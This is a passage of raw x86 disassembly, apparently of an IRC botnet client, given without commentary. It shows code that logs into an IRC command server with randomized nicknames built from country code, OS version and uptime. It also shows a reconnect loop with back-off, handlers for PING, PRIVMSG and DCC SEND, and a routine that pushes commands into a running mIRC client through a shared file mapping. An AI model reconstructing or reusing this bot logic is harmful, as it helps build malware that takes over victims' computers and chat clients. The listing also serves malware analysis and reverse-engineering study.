loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DF00
		push	offset byte_41E7E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------

loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------

loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DB18[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------

loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB18[eax]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB1C[eax]
		push	offset dword_41EA68
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DB20[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DB20[eax]
		push	offset byte_41E7E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E7E8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E7E8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E7E8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E7E8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E7E8
		call	sub_4105AD
		pop	ecx

loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EF98
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EF98
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------

loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EF98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F118
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F118
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------

loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F118
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h

loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EF18
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EF18
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------

loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F

loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------

loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h

loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"

loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"

loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1

loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DC08
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC08
		push	offset dword_41DB88
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB88
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DC88
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC88
		push	offset dword_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		call	sub_4105FB
		pop	ecx

loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------

loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DB78
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx

loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41EA74
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h

loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E968
		call	sub_4105FB
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41EA68
		push	offset dword_41E968
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41EA74, eax
		push	offset dword_41E968
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA68
		call	sub_4105AD
		pop	ecx
		cmp	dword_41EA74, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------

loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax

loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------

loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax

loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C

loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693

loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA74
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------

loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------

loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------

loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------

loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------

loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al

loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B

loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB88
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
